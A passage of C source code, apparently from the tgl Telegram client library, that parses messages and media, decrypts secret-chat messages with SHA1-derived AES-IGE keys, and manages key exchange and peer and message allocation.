& 0xffff; 848 | 849 | if (M->flags & TGLMF_PENDING) { 850 | M->flags ^= TGLMF_PENDING; 851 | } 852 | 853 | if (!(flags & TGLMF_CREATED)) { 854 | flags |= TGLMF_CREATE | TGLMF_CREATED; 855 | } 856 | 857 | int f = DS_LVAL (DS_U->flags); 858 | 859 | if (f & 1) { 860 | flags |= TGLMF_UNREAD; 861 | } 862 | if (f & 2) { 863 | flags |= TGLMF_OUT; 864 | } 865 | if (f & 16) { 866 | flags |= TGLMF_MENTION; 867 | } 868 | 869 | struct tl_ds_message_media A; 870 | A.magic = CODE_message_media_empty; 871 | int type = TGL_PEER_USER; 872 | 873 | bl_do_create_message_new (TLS, DS_LVAL (DS_U->id), 874 | (f & 2) ? &TLS->our_id : DS_U->user_id, 875 | &type, (f & 2) ? DS_U->user_id : &TLS->our_id, 876 | DS_U->fwd_from_id, 877 | DS_U->fwd_date, 878 | DS_U->date, 879 | DS_STR (DS_U->message), 880 | &A, 881 | NULL, 882 | DS_U->reply_to_msg_id, 883 | NULL, 884 | flags 885 | ); 886 | } 887 | 888 | void tglf_fetch_message_short_chat_new (struct tgl_state *TLS, struct tgl_message *M, struct tl_ds_updates *DS_U) { 889 | tgl_peer_t *P = tgl_peer_get (TLS, TGL_MK_USER (DS_LVAL (DS_U->from_id))); 890 | if (!P || !(P->flags & TGLPF_CREATED)) { 891 | tgl_do_get_difference (TLS, 0, 0, 0); 892 | return; 893 | } 894 | P = tgl_peer_get (TLS, TGL_MK_CHAT (DS_LVAL (DS_U->chat_id))); 895 | if (!P || !(P->flags & TGLPF_CREATED)) { 896 | tgl_do_get_difference (TLS, 0, 0, 0); 897 | return; 898 | } 899 | 900 | int flags = M->flags & 0xffff; 901 | 902 | if (M->flags & TGLMF_PENDING) { 903 | M->flags ^= TGLMF_PENDING; 904 | } 905 | 906 | if (!(flags & TGLMF_CREATED)) { 907 | flags |= TGLMF_CREATE | TGLMF_CREATED; 908 | } 909 | 910 | int f = DS_LVAL (DS_U->flags); 911 | 912 | if (f & 1) { 913 | flags |= TGLMF_UNREAD; 914 | } 915 | if (f & 2) { 916 | flags |= TGLMF_OUT; 917 | } 918 | if (f & 16) { 919 | flags |= TGLMF_MENTION; 920 | } 921 | 922 | struct tl_ds_message_media A; 923 | A.magic = CODE_message_media_empty; 924 | 925 | int type = TGL_PEER_CHAT; 926 | bl_do_create_message_new (TLS, DS_LVAL (DS_U->id), 927 | DS_U->from_id, 928 | &type, DS_U->chat_id, 929 | DS_U->fwd_from_id, 930 | DS_U->fwd_date, 931 | DS_U->date, 932 | DS_STR (DS_U->message), 933 | &A, 934 | NULL, 935 | DS_U->reply_to_msg_id, 936 | NULL, 937 | flags 938 | ); 939 | } 940 | 941 | 942 | void tglf_fetch_message_media_new (struct tgl_state *TLS, struct tgl_message_media *M, struct tl_ds_message_media *DS_MM) { 943 | if (!DS_MM) { return; } 944 | memset (M, 0, sizeof (*M)); 945 | switch (DS_MM->magic) { 946 | case CODE_message_media_empty: 947 | M->type = tgl_message_media_none; 948 | break; 949 | case CODE_message_media_photo: 950 | case CODE_message_media_photo_l27: 951 | M->type = tgl_message_media_photo; 952 | M->photo = tglf_fetch_alloc_photo_new (TLS, DS_MM->photo); 953 | M->caption = DS_STR_DUP (DS_MM->caption); 954 | break; 955 | case CODE_message_media_video: 956 | case CODE_message_media_video_l27: 957 | M->type = tgl_message_media_document; 958 | M->document = tglf_fetch_alloc_video_new (TLS, DS_MM->video); 959 | M->caption = DS_STR_DUP (DS_MM->caption); 960 | break; 961 | case CODE_message_media_audio: 962 | M->type = tgl_message_media_document; 963 | M->document = tglf_fetch_alloc_audio_new (TLS, DS_MM->audio); 964 | break; 965 | case CODE_message_media_document: 966 | M->type = tgl_message_media_document; 967 | M->document = tglf_fetch_alloc_document_new (TLS, DS_MM->document); 968 | break; 969 | case CODE_message_media_geo: 970 | M->type = tgl_message_media_geo; 971 | tglf_fetch_geo_new (TLS, &M->geo, DS_MM->geo); 972 | break; 973 | case CODE_message_media_contact: 974 | M->type = tgl_message_media_contact; 975 | M->phone = DS_STR_DUP (DS_MM->phone_number); 976 | M->first_name = DS_STR_DUP (DS_MM->first_name); 977 | M->last_name = DS_STR_DUP (DS_MM->last_name); 978 | M->user_id = DS_LVAL (DS_MM->user_id); 979 | break; 980 | case CODE_message_media_unsupported: 981 | //case CODE_message_media_unsupported_l22: 982 | M->type = tgl_message_media_unsupported; 983 | break; 984 | case CODE_message_media_web_page: 985 | M->type = tgl_message_media_webpage; 986 | M->webpage = tglf_fetch_alloc_webpage_new (TLS, DS_MM->webpage); 987 | break; 988 | case CODE_message_media_venue: 989 | M->type = tgl_message_media_venue; 990 | tglf_fetch_geo_new (TLS, &M->venue.geo, DS_MM->geo); 991 | M->venue.title = DS_STR_DUP (DS_MM->title); 992 | M->venue.address = DS_STR_DUP (DS_MM->address); 993 | M->venue.provider = DS_STR_DUP (DS_MM->provider); 994 | M->venue.venue_id = DS_STR_DUP (DS_MM->venue_id); 995 | break; 996 | default: 997 | assert (0); 998 | } 999 | } 1000 | 1001 | void tglf_fetch_message_media_encrypted_new (struct tgl_state *TLS, struct tgl_message_media *M, struct tl_ds_decrypted_message_media *DS_DMM) { 1002 | if (!DS_DMM) { return; } 1003 | 1004 | memset (M, 0, sizeof (*M)); 1005 | switch (DS_DMM->magic) { 1006 | case CODE_decrypted_message_media_empty: 1007 | M->type = tgl_message_media_none; 1008 | //M->type = CODE_message_media_empty; 1009 | break; 1010 | case CODE_decrypted_message_media_photo: 1011 | case CODE_decrypted_message_media_video: 1012 | case CODE_decrypted_message_media_video_l12: 1013 | case CODE_decrypted_message_media_document: 1014 | case CODE_decrypted_message_media_audio: 1015 | //M->type = CODE_decrypted_message_media_video; 1016 | M->type = tgl_message_media_document_encr; 1017 | 1018 | M->encr_document = talloc0 (sizeof (*M->encr_document)); 1019 | 1020 | switch (DS_DMM->magic) { 1021 | case CODE_decrypted_message_media_photo: 1022 | M->encr_document->flags = TGLDF_IMAGE; 1023 | break; 1024 | case CODE_decrypted_message_media_video: 1025 | case CODE_decrypted_message_media_video_l12: 1026 | M->encr_document->flags = TGLDF_VIDEO; 1027 | break; 1028 | case CODE_decrypted_message_media_document: 1029 | //M->encr_document->flags = TGLDF_DOCUMENT; 1030 | break; 1031 | case CODE_decrypted_message_media_audio: 1032 | M->encr_document->flags = TGLDF_AUDIO; 1033 | break; 1034 | } 1035 | 1036 | M->encr_document->w = DS_LVAL (DS_DMM->w); 1037 | M->encr_document->h = DS_LVAL (DS_DMM->h); 1038 | M->encr_document->size = DS_LVAL (DS_DMM->size); 1039 | M->encr_document->duration = DS_LVAL (DS_DMM->duration); 1040 | M->encr_document->mime_type = DS_STR_DUP (DS_DMM->mime_type); 1041 | 1042 | M->encr_document->key = talloc (32); 1043 | str_to_32 (M->encr_document->key, DS_STR (DS_DMM->key)); 1044 | M->encr_document->iv = talloc (32); 1045 | str_to_32 (M->encr_document->iv, DS_STR (DS_DMM->iv)); 1046 | break; 1047 | case CODE_decrypted_message_media_geo_point: 1048 | M->type = tgl_message_media_geo; 1049 | M->geo.latitude = DS_LVAL (DS_DMM->latitude); 1050 | M->geo.longitude = DS_LVAL (DS_DMM->longitude); 1051 | break; 1052 | case CODE_decrypted_message_media_contact: 1053 | M->type = tgl_message_media_contact; 1054 | M->phone = DS_STR_DUP (DS_DMM->phone_number); 1055 | M->first_name = DS_STR_DUP (DS_DMM->first_name); 1056 | M->last_name = DS_STR_DUP (DS_DMM->last_name); 1057 | M->user_id = DS_LVAL (DS_DMM->user_id); 1058 | break; 1059 | default: 1060 | assert (0); 1061 | } 1062 | } 1063 | 1064 | void tglf_fetch_message_action_encrypted_new (struct tgl_state *TLS, struct tgl_message_action *M, struct tl_ds_decrypted_message_action *DS_DMA) { 1065 | if (!DS_DMA) { return; } 1066 | 1067 | switch (DS_DMA->magic) { 1068 | case CODE_decrypted_message_action_set_message_t_t_l: 1069 | M->type = tgl_message_action_set_message_ttl; 1070 | M->ttl = DS_LVAL (DS_DMA->ttl_seconds); 1071 | break; 1072 | case CODE_decrypted_message_action_read_messages: 1073 | M->type = tgl_message_action_read_messages; 1074 | { 1075 | M->read_cnt = DS_LVAL (DS_DMA->random_ids->cnt); 1076 | 1077 | int i; 1078 | for (i = 0; i < M->read_cnt; i++) { 1079 | struct tgl_message *N = tgl_message_get (TLS, DS_LVAL (DS_DMA->random_ids->data[i])); 1080 | if (N) { 1081 | N->flags &= ~TGLMF_UNREAD; 1082 | } 1083 | } 1084 | } 1085 | break; 1086 | case CODE_decrypted_message_action_delete_messages: 1087 | M->type = tgl_message_action_delete_messages; 1088 | break; 1089 | case CODE_decrypted_message_action_screenshot_messages: 1090 | M->type = tgl_message_action_screenshot_messages; 1091 | { 1092 | M->screenshot_cnt = DS_LVAL (DS_DMA->random_ids->cnt); 1093 | } 1094 | break; 1095 | case CODE_decrypted_message_action_notify_layer: 1096 | M->type = tgl_message_action_notify_layer; 1097 | M->layer = DS_LVAL (DS_DMA->layer); 1098 | break; 1099 | case CODE_decrypted_message_action_flush_history: 1100 | M->type = tgl_message_action_flush_history; 1101 | break; 1102 | case CODE_decrypted_message_action_typing: 1103 | M->type = tgl_message_action_typing; 1104 | M->typing = tglf_fetch_typing_new (DS_DMA->action); 1105 | break; 1106 | case CODE_decrypted_message_action_resend: 1107 | M->type = tgl_message_action_resend; 1108 | M->start_seq_no = DS_LVAL (DS_DMA->start_seq_no); 1109 | M->end_seq_no = DS_LVAL (DS_DMA->end_seq_no); 1110 | break; 1111 | case CODE_decrypted_message_action_noop: 1112 | M->type = tgl_message_action_noop; 1113 | break; 1114 | case CODE_decrypted_message_action_request_key: 1115 | M->type = tgl_message_action_request_key; 1116 | 1117 | M->exchange_id = DS_LVAL (DS_DMA->exchange_id); 1118 | M->g_a = talloc (256); 1119 | str_to_256 (M->g_a, DS_STR (DS_DMA->g_a)); 1120 | break; 1121 | case CODE_decrypted_message_action_accept_key: 1122 | M->type = tgl_message_action_accept_key; 1123 | 1124 | M->exchange_id = DS_LVAL (DS_DMA->exchange_id); 1125 | M->g_a = talloc (256); 1126 | str_to_256 (M->g_a, DS_STR (DS_DMA->g_b)); 1127 | M->key_fingerprint = DS_LVAL (DS_DMA->key_fingerprint); 1128 | break; 1129 | case CODE_decrypted_message_action_commit_key: 1130 | M->type = tgl_message_action_commit_key; 1131 | 1132 | M->exchange_id = DS_LVAL (DS_DMA->exchange_id); 1133 | M->key_fingerprint = DS_LVAL (DS_DMA->key_fingerprint); 1134 | break; 1135 | case CODE_decrypted_message_action_abort_key: 1136 | M->type = tgl_message_action_abort_key; 1137 | 1138 | M->exchange_id = DS_LVAL (DS_DMA->exchange_id); 1139 | break; 1140 | default: 1141 | assert (0); 1142 | } 1143 | } 1144 | 1145 | tgl_peer_id_t tglf_fetch_peer_id_new (struct tgl_state *TLS, struct tl_ds_peer *DS_P) { 1146 | if (DS_P->magic == CODE_peer_user) { 1147 | return TGL_MK_USER (DS_LVAL (DS_P->user_id)); 1148 | } else { 1149 | return TGL_MK_CHAT (DS_LVAL (DS_P->chat_id)); 1150 | } 1151 | } 1152 | 1153 | void tglf_fetch_message_new (struct tgl_state *TLS, struct tgl_message *M, struct tl_ds_message *DS_M) { 1154 | if (!DS_M || DS_M->magic == CODE_message_empty) { return; } 1155 | 1156 | assert (M->id == DS_LVAL (DS_M->id)); 1157 | 1158 | tgl_peer_id_t to_id = tglf_fetch_peer_id_new (TLS, DS_M->to_id); 1159 | { 1160 | tgl_peer_t *P = tgl_peer_get (TLS, to_id); 1161 | if (!P || !(P->flags & TGLPF_CREATED)) { 1162 | tgl_do_get_difference (TLS, 0, 0, 0); 1163 | return; 1164 | } 1165 | P = tgl_peer_get (TLS, TGL_MK_USER (DS_LVAL (DS_M->from_id))); 1166 | if (!P || !(P->flags & TGLPF_CREATED)) { 1167 | tgl_do_get_difference (TLS, 0, 0, 0); 1168 | return; 1169 | } 1170 | } 1171 | 1172 | int new = !(M->flags & TGLMF_CREATED); 1173 | 1174 | if (new) { 1175 | int peer_id = tgl_get_peer_id (to_id); 1176 | int peer_type = tgl_get_peer_type (to_id); 1177 | 1178 | int flags = 0; 1179 | if (DS_LVAL (DS_M->flags) & 1) { 1180 | flags |= TGLMF_UNREAD; 1181 | } 1182 | if (DS_LVAL (DS_M->flags) & 2) { 1183 | flags |= TGLMF_OUT; 1184 | } 1185 | if (DS_LVAL (DS_M->flags) & 16) { 1186 | flags |= TGLMF_MENTION; 1187 | } 1188 | 1189 | bl_do_create_message_new (TLS, DS_LVAL (DS_M->id), 1190 | DS_M->from_id, 1191 | &peer_type, &peer_id, 1192 | DS_M->fwd_from_id, DS_M->fwd_date, 1193 | DS_M->date, 1194 | DS_STR (DS_M->message), 1195 | DS_M->media, 1196 | DS_M->action, 1197 | DS_M->reply_to_msg_id, 1198 | DS_M->reply_markup, 1199 | flags | TGLMF_CREATE | TGLMF_CREATED 1200 | ); 1201 | } 1202 | } 1203 | 1204 | static int *decr_ptr; 1205 | static int *decr_end; 1206 | 1207 | static int decrypt_encrypted_message (struct tgl_secret_chat *E) { 1208 | int *msg_key = decr_ptr; 1209 | decr_ptr += 4; 1210 | assert (decr_ptr < decr_end); 1211 | static unsigned char sha1a_buffer[20]; 1212 | static unsigned char sha1b_buffer[20]; 1213 | static unsigned char sha1c_buffer[20]; 1214 | static unsigned char sha1d_buffer[20]; 1215 | 1216 | static unsigned char buf[64]; 1217 | 1218 | int *e_key = E->exchange_state != tgl_sce_committed ? E->key : E->exchange_key; 1219 | 1220 | memcpy (buf, msg_key, 16); 1221 | memcpy (buf + 16, e_key, 32); 1222 | sha1 (buf, 48, sha1a_buffer); 1223 | 1224 | memcpy (buf, e_key + 8, 16); 1225 | memcpy (buf + 16, msg_key, 16); 1226 | memcpy (buf + 32, e_key + 12, 16); 1227 | sha1 (buf, 48, sha1b_buffer); 1228 | 1229 | memcpy (buf, e_key + 16, 32); 1230 | memcpy (buf + 32, msg_key, 16); 1231 | sha1 (buf, 48, sha1c_buffer); 1232 | 1233 | memcpy (buf, msg_key, 16); 1234 | memcpy (buf + 16, e_key + 24, 32); 1235 | sha1 (buf, 48, sha1d_buffer); 1236 | 1237 | static unsigned char key[32]; 1238 | memcpy (key, sha1a_buffer + 0, 8); 1239 | memcpy (key + 8, sha1b_buffer + 8, 12); 1240 | memcpy (key + 20, sha1c_buffer + 4, 12); 1241 | 1242 | static unsigned char iv[32]; 1243 | memcpy (iv, sha1a_buffer + 8, 12); 1244 | memcpy (iv + 12, sha1b_buffer + 0, 8); 1245 | memcpy (iv + 20, sha1c_buffer + 16, 4); 1246 | memcpy (iv + 24, sha1d_buffer + 0, 8); 1247 | 1248 | AES_KEY aes_key; 1249 | AES_set_decrypt_key (key, 256, &aes_key); 1250 | AES_ige_encrypt ((void *)decr_ptr, (void *)decr_ptr, 4 * (decr_end - decr_ptr), &aes_key, iv, 0); 1251 | memset (&aes_key, 0, sizeof (aes_key)); 1252 | 1253 | int x = *(decr_ptr); 1254 | if (x < 0 || (x & 3)) { 1255 | return -1; 1256 | } 1257 | assert (x >= 0 && !(x & 3)); 1258 | sha1 ((void *)decr_ptr, 4 + x, sha1a_buffer); 1259 | 1260 | if (memcmp (sha1a_buffer + 4, msg_key, 16)) { 1261 | return -1; 1262 | } 1263 | return 0; 1264 | } 1265 | 1266 | void tglf_fetch_encrypted_message_new (struct tgl_state *TLS, struct tgl_message *M, struct tl_ds_encrypted_message *DS_EM) { 1267 | if (!DS_EM) { return; } 1268 | 1269 | int new = !(M->flags & TGLMF_CREATED); 1270 | if (!new) { 1271 | return; 1272 | } 1273 | 1274 | tgl_peer_t *P = tgl_peer_get (TLS, TGL_MK_ENCR_CHAT (DS_LVAL (DS_EM->chat_id))); 1275 | if (!P || P->encr_chat.state != sc_ok) { 1276 | vlogprintf (E_WARNING, "Encrypted message to unknown chat. Dropping\n"); 1277 | return; 1278 | } 1279 | 1280 | decr_ptr = (void *)DS_EM->bytes->data; 1281 | decr_end = decr_ptr + (DS_EM->bytes->len / 4); 1282 | 1283 | if (P->encr_chat.exchange_state == tgl_sce_committed && P->encr_chat.key_fingerprint == *(long long *)decr_ptr) { 1284 | tgl_do_confirm_exchange (TLS, (void *)P, 0); 1285 | assert (P->encr_chat.exchange_state == tgl_sce_none); 1286 | } 1287 | 1288 | long long key_fingerprint = P->encr_chat.exchange_state != tgl_sce_committed ? P->encr_chat.key_fingerprint : P->encr_chat.exchange_key_fingerprint; 1289 | if (*(long long *)decr_ptr != key_fingerprint) { 1290 | vlogprintf (E_WARNING, "Encrypted message with bad fingerprint to chat %s\n", P->print_name); 1291 | return; 1292 | } 1293 | 1294 | decr_ptr += 2; 1295 | 1296 | if (decrypt_encrypted_message (&P->encr_chat) < 0) { 1297 | vlogprintf (E_WARNING, "can not decrypt message\n"); 1298 | return; 1299 | } 1300 | 1301 | int *save_in_ptr = in_ptr; 1302 | int *save_in_end = in_end; 1303 | 1304 | in_ptr = decr_ptr; 1305 | int ll = *in_ptr; 1306 | in_end = in_ptr + ll / 4 + 1; 1307 | assert (fetch_int () == ll); 1308 | 1309 | if (skip_type_decrypted_message_layer (TYPE_TO_PARAM (decrypted_message_layer)) < 0 || in_ptr != in_end) { 1310 | vlogprintf (E_WARNING, "can not fetch message\n"); 1311 | in_ptr = save_in_ptr; 1312 | in_end = save_in_end; 1313 | return; 1314 | } 1315 | 1316 | in_ptr = decr_ptr; 1317 | assert (fetch_int () == ll); 1318 | 1319 | struct tl_ds_decrypted_message_layer *DS_DML = fetch_ds_type_decrypted_message_layer (TYPE_TO_PARAM (decrypted_message_layer)); 1320 | assert (DS_DML); 1321 | 1322 | in_ptr = save_in_ptr; 1323 | in_end = save_in_end; 1324 | 1325 | //bl_do_encr_chat_set_layer (TLS, (void *)P, DS_LVAL (DS_DML->layer)); 1326 | bl_do_encr_chat_new (TLS, tgl_get_peer_id (P->id), 1327 | NULL, NULL, NULL, NULL, 1328 | NULL, NULL, NULL, NULL, 1329 | NULL, DS_DML->layer, NULL, NULL, NULL, NULL, 1330 | TGL_FLAGS_UNCHANGED 1331 | ); 1332 | 1333 | int in_seq_no = DS_LVAL (DS_DML->out_seq_no); 1334 | int out_seq_no = DS_LVAL (DS_DML->in_seq_no); 1335 | 1336 | if (in_seq_no / 2 != P->encr_chat.in_seq_no) { 1337 | vlogprintf (E_WARNING, "Hole in seq in secret chat. in_seq_no = %d, expect_seq_no = %d\n", in_seq_no / 2, P->encr_chat.in_seq_no); 1338 | free_ds_type_decrypted_message_layer (DS_DML, TYPE_TO_PARAM(decrypted_message_layer)); 1339 | return; 1340 | } 1341 | 1342 | if ((in_seq_no & 1) != 1 - (P->encr_chat.admin_id == TLS->our_id) || 1343 | (out_seq_no & 1) != (P->encr_chat.admin_id == TLS->our_id)) { 1344 | vlogprintf (E_WARNING, "Bad msg admin\n"); 1345 | free_ds_type_decrypted_message_layer (DS_DML, TYPE_TO_PARAM(decrypted_message_layer)); 1346 | return; 1347 | } 1348 | if (out_seq_no / 2 > P->encr_chat.out_seq_no) { 1349 | vlogprintf (E_WARNING, "In seq no is bigger than our's out seq no (out_seq_no = %d, our_out_seq_no = %d). Drop\n", out_seq_no / 2, P->encr_chat.out_seq_no); 1350 | free_ds_type_decrypted_message_layer (DS_DML, TYPE_TO_PARAM(decrypted_message_layer)); 1351 | return; 1352 | } 1353 | if (out_seq_no / 2 < P->encr_chat.last_in_seq_no) { 1354 | vlogprintf (E_WARNING, "Clients in_seq_no decreased (out_seq_no = %d, last_out_seq_no = %d). Drop\n", out_seq_no / 2, P->encr_chat.last_in_seq_no); 1355 | free_ds_type_decrypted_message_layer (DS_DML, TYPE_TO_PARAM(decrypted_message_layer)); 1356 | return; 1357 | } 1358 | 1359 | struct tl_ds_decrypted_message *DS_DM = DS_DML->message; 1360 | if (M->id != DS_LVAL (DS_DM->random_id)) { 1361 | vlogprintf (E_ERROR, "Incorrect message: id = %lld, new_id = %lld\n", M->id, DS_LVAL (DS_DM->random_id)); 1362 | free_ds_type_decrypted_message_layer (DS_DML, TYPE_TO_PARAM(decrypted_message_layer)); 1363 | return; 1364 | } 1365 | 1366 | int peer_type = TGL_PEER_ENCR_CHAT; 1367 | int peer_id = tgl_get_peer_id (P->id); 1368 | 1369 | bl_do_create_message_encr_new (TLS, M->id, &P->encr_chat.user_id, &peer_type, &peer_id, DS_EM->date, DS_STR (DS_DM->message), DS_DM->media, DS_DM->action, DS_EM->file, TGLMF_CREATE | TGLMF_CREATED | TGLMF_ENCRYPTED); 1370 | 1371 | if (in_seq_no >= 0 && out_seq_no >= 0) { 1372 | //bl_do_encr_chat_update_seq (TLS, (void *)P, in_seq_no / 2 + 1, out_seq_no / 2); 1373 | in_seq_no = in_seq_no / 2 + 1; 1374 | out_seq_no = out_seq_no / 2; 1375 | bl_do_encr_chat_new (TLS, tgl_get_peer_id (P->id), 1376 | NULL, NULL, NULL, NULL, 1377 | NULL, NULL, NULL, NULL, 1378 | NULL, NULL, &in_seq_no, &out_seq_no, NULL, NULL, 1379 | TGL_FLAGS_UNCHANGED 1380 | ); 1381 | assert (P->encr_chat.in_seq_no == in_seq_no); 1382 | } 1383 | 1384 | free_ds_type_decrypted_message_layer (DS_DML, TYPE_TO_PARAM(decrypted_message_layer)); 1385 | } 1386 | 1387 | void tglf_fetch_encrypted_message_file_new (struct tgl_state *TLS, struct tgl_message_media *M, struct tl_ds_encrypted_file *DS_EF) { 1388 | if (DS_EF->magic == CODE_encrypted_file_empty) { 1389 | assert (M->type != tgl_message_media_document_encr); 1390 | } else { 1391 | assert (M->type == tgl_message_media_document_encr); 1392 | assert (M->encr_document); 1393 | 1394 | M->encr_document->id = DS_LVAL (DS_EF->id); 1395 | M->encr_document->access_hash = DS_LVAL (DS_EF->access_hash); 1396 | if (!M->encr_document->size) { 1397 | M->encr_document->size = DS_LVAL (DS_EF->size); 1398 | } 1399 | M->encr_document->dc_id = DS_LVAL (DS_EF->dc_id); 1400 | M->encr_document->key_fingerprint = DS_LVAL (DS_EF->key_fingerprint); 1401 | } 1402 | } 1403 | 1404 | static int id_cmp (struct tgl_message *M1, struct tgl_message *M2) { 1405 | if (M1->id < M2->id) { return -1; } 1406 | else if (M1->id > M2->id) { return 1; } 1407 | else { return 0; } 1408 | } 1409 | 1410 | static void increase_peer_size (struct tgl_state *TLS) { 1411 | if (TLS->peer_num == TLS->peer_size) { 1412 | int new_size = TLS->peer_size ? 2 * TLS->peer_size : 10; 1413 | int old_size = TLS->peer_size; 1414 | if (old_size) { 1415 | TLS->Peers = trealloc (TLS->Peers, old_size * sizeof (void *), new_size * sizeof (void *)); 1416 | } else { 1417 | TLS->Peers = talloc (new_size * sizeof (void *)); 1418 | } 1419 | TLS->peer_size = new_size; 1420 | } 1421 | } 1422 | 1423 | struct tgl_user *tglf_fetch_alloc_user_new (struct tgl_state *TLS, struct tl_ds_user *DS_U) { 1424 | tgl_peer_t *U = tgl_peer_get (TLS, TGL_MK_USER (DS_LVAL (DS_U->id))); 1425 | if (!U) { 1426 | TLS->users_allocated ++; 1427 | U = talloc0 (sizeof (*U)); 1428 | U->id = TGL_MK_USER (DS_LVAL (DS_U->id)); 1429 | TLS->peer_tree = tree_insert_peer (TLS->peer_tree, U, lrand48 ()); 1430 | increase_peer_size (TLS); 1431 | TLS->Peers[TLS->peer_num ++] = U; 1432 | } 1433 | tglf_fetch_user_new (TLS, &U->user, DS_U); 1434 | return &U->user; 1435 | } 1436 | 1437 | struct tgl_secret_chat *tglf_fetch_alloc_encrypted_chat_new (struct tgl_state *TLS, struct tl_ds_encrypted_chat *DS_EC) { 1438 | tgl_peer_t *U = tgl_peer_get (TLS, TGL_MK_ENCR_CHAT (DS_LVAL (DS_EC->id))); 1439 | if (!U) { 1440 | U = talloc0 (sizeof (*U)); 1441 | U->id = TGL_MK_ENCR_CHAT (DS_LVAL (DS_EC->id)); 1442 | TLS->encr_chats_allocated ++; 1443 | TLS->peer_tree = tree_insert_peer (TLS->peer_tree, U, lrand48 ()); 1444 | increase_peer_size (TLS); 1445 | TLS->Peers[TLS->peer_num ++] = U; 1446 | } 1447 | tglf_fetch_encrypted_chat_new (TLS, &U->encr_chat, DS_EC); 1448 | return &U->encr_chat; 1449 | } 1450 | 1451 | struct tgl_user *tglf_fetch_alloc_user_full_new (struct tgl_state *TLS, struct tl_ds_user_full *DS_U) { 1452 | tgl_peer_t *U = tgl_peer_get (TLS, TGL_MK_USER (DS_LVAL (DS_U->user->id))); 1453 | if (U) { 1454 | tglf_fetch_user_full_new (TLS, &U->user, DS_U); 1455 | return &U->user; 1456 | } else { 1457 | TLS->users_allocated ++; 1458 | U = talloc0 (sizeof (*U)); 1459 | U->id = TGL_MK_USER (DS_LVAL (DS_U->user->id)); 1460 | TLS->peer_tree = tree_insert_peer (TLS->peer_tree, U, lrand48 ()); 1461 | tglf_fetch_user_full_new (TLS, &U->user, DS_U); 1462 | increase_peer_size (TLS); 1463 | TLS->Peers[TLS->peer_num ++] = U; 1464 | return &U->user; 1465 | } 1466 | } 1467 | 1468 | struct tgl_message *tglf_fetch_alloc_message_new (struct tgl_state *TLS, struct tl_ds_message *DS_M) { 1469 | struct tgl_message *M = tgl_message_get (TLS, DS_LVAL (DS_M->id)); 1470 | 1471 | if (!M) { 1472 | M = tglm_message_alloc (TLS, DS_LVAL (DS_M->id)); 1473 | } 1474 | tglf_fetch_message_new (TLS, M, DS_M); 1475 | return M; 1476 | } 1477 | 1478 | struct tgl_message *tglf_fetch_alloc_encrypted_message_new (struct tgl_state *TLS, struct tl_ds_encrypted_message *DS_EM) { 1479 | struct tgl_message *M = tgl_message_get (TLS, DS_LVAL (DS_EM->random_id)); 1480 | 1481 | if (!M) { 1482 | M = talloc0 (sizeof (*M)); 1483 | M->id = DS_LVAL (DS_EM->random_id); 1484 | tglm_message_insert_tree (TLS, M); 1485 | TLS->messages_allocated ++; 1486 | assert (tgl_message_get (TLS, M->id) == M); 1487 | } 1488 | tglf_fetch_encrypted_message_new (TLS, M, DS_EM); 1489 | 1490 | if (M->flags & TGLMF_CREATED) { 1491 | tgl_peer_t *_E = tgl_peer_get (TLS, M->to_id); 1492 | assert (_E); 1493 | struct tgl_secret_chat *E = &_E->encr_chat; 1494 | if (M->action.type == tgl_message_action_request_key) { 1495 | if (E->exchange_state == tgl_sce_none || (E->exchange_state == tgl_sce_requested && E->exchange_id > M->action.exchange_id )) { 1496 | tgl_do_accept_exchange (TLS, E, M->action.exchange_id, M->action.g_a); 1497 | } else { 1498 | vlogprintf (E_WARNING, "Exchange: Incorrect state (received request, state = %d)\n", E->exchange_state); 1499 | } 1500 | } 1501 | if (M->action.type == tgl_message_action_accept_key) { 1502 | if (E->exchange_state == tgl_sce_requested && E->exchange_id == M->action.exchange_id) { 1503 | tgl_do_commit_exchange (TLS, E, M->action.g_a); 1504 | } else { 1505 | vlogprintf (E_WARNING, "Exchange: Incorrect state (received accept, state = %d)\n", E->exchange_state); 1506 | } 1507 | } 1508 | if (M->action.type == tgl_message_action_commit_key) { 1509 | if (E->exchange_state == tgl_sce_accepted && E->exchange_id == M->action.exchange_id) { 1510 | tgl_do_confirm_exchange (TLS, E, 1); 1511 | } else { 1512 | vlogprintf (E_WARNING, "Exchange: Incorrect state (received commit, state = %d)\n", E->exchange_state); 1513 | } 1514 | } 1515 | if (M->action.type == tgl_message_action_abort_key) { 1516 | if (E->exchange_state != tgl_sce_none && E->exchange_id == M->action.exchange_id) { 1517 | tgl_do_abort_exchange (TLS, E); 1518 | } else { 1519 | vlogprintf (E_WARNING, "Exchange: Incorrect state (received abort, state = %d)\n", E->exchange_state); 1520 | } 1521 | } 1522 | if (M->action.type == tgl_message_action_notify_layer) { 1523 | bl_do_encr_chat_new (TLS, tgl_get_peer_id (E->id), 1524 | NULL, NULL, NULL, NULL, 1525 | NULL, NULL, NULL, NULL, 1526 | NULL, &M->action.layer, NULL, NULL, NULL, NULL, 1527 | TGL_FLAGS_UNCHANGED 1528 | ); 1529 | } 1530 | if (M->action.type == tgl_message_action_set_message_ttl) { 1531 | //bl_do_encr_chat_set_ttl (TLS, E, M->action.ttl); 1532 | bl_do_encr_chat_new (TLS, tgl_get_peer_id (E->id), 1533 | NULL, NULL, NULL, NULL, 1534 | NULL, NULL, NULL, NULL, 1535 | &M->action.ttl, NULL, NULL, NULL, NULL, NULL, 1536 | TGL_FLAGS_UNCHANGED 1537 | ); 1538 | } 1539 | } 1540 | return M; 1541 | } 1542 | 1543 | struct tgl_message *tglf_fetch_alloc_message_short_new (struct tgl_state *TLS, struct tl_ds_updates *DS_U) { 1544 | int id = DS_LVAL (DS_U->id); 1545 | struct tgl_message *M = tgl_message_get (TLS, id); 1546 | 1547 | if (!M) { 1548 | M = talloc0 (sizeof (*M)); 1549 | M->id = id; 1550 | tglm_message_insert_tree (TLS, M); 1551 | TLS->messages_allocated ++; 1552 | } 1553 | tglf_fetch_message_short_new (TLS, M, DS_U); 1554 | return M; 1555 | } 1556 | 1557 | struct tgl_message *tglf_fetch_alloc_message_short_chat_new (struct tgl_state *TLS, struct tl_ds_updates *DS_U) { 1558 | int id = DS_LVAL (DS_U->id); 1559 | struct tgl_message *M = tgl_message_get (TLS, id); 1560 | 1561 | if (!M) { 1562 | M = talloc0 (sizeof (*M)); 1563 | M->id = id; 1564 | tglm_message_insert_tree (TLS, M); 1565 | TLS->messages_allocated ++; 1566 | } 1567 | tglf_fetch_message_short_chat_new (TLS, M, DS_U); 1568 | return M; 1569 | } 1570 | 1571 | struct tgl_chat *tglf_fetch_alloc_chat_new (struct tgl_state *TLS, struct tl_ds_chat *DS_C) { 1572 | 